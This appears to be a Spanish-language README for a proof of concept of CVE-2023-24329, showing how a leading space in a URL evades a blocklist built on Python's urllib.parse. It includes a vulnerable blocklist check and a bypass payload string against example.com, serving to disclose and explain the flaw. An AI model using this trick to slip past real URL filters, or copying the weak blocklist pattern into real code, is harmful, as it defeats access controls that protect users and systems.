
Prueba de concepto que demuestra una omisión en el análisis de URL en urllib.parse de Python (CVE-2023-24329) que permite evadir listas de bloqueo anteponiendo espacios.
Las funciones de análisis de URL se centran en dividir una cadena de URL en sus componentes, o en combinar componentes de URL en una cadena de URL.
Simplemente urllib.parse se usa para analizar URLs, podemos omitirlo agregando espacios en blanco antes de la URL. Esto ocurre en python 3.11.4 y versiones anteriores.
Vamos a desglosar example.py
Aquí hay un conjunto de sitios web a los que no deberías acceder:
blocked_list = [
"http://example.com/",
"http://example2.com/"
]
Esta función verifica si el sitio web está en la lista de bloqueados o no, si está en la lista de bloqueados debería devolver URL Blocked
def is_url_blocked(url):
parse = urllib.parse.urlparse(url).geturl()
if parse in blocked_list: return 'URL Blocked'
else: return 'Bypassed'
Ahora agregué dos URLs y verifico si alguna de ellas está bloqueada y no se puede acceder:
payload1 = " http://example.com/"
payload2 = "http://example.com/"
print(
is_url_blocked(payload1),
"\n",
is_url_blocked(payload2)
)
payload1 es donde omití is_url_blocked() porque agregar un espacio largo antes de la URL omitirá urllib.parse.urlparse(url).geturl() y no se ejecutará como se esperaba.
Por eso la salida es
Bypassed
Pero en payload2 obtenemos
URL Blocked
Si deseas apoyarme con una donación, te recomiendo que se la des a alguien que realmente lo necesite, por favor. Si lo haces, considera que me has ganado tu apoyo.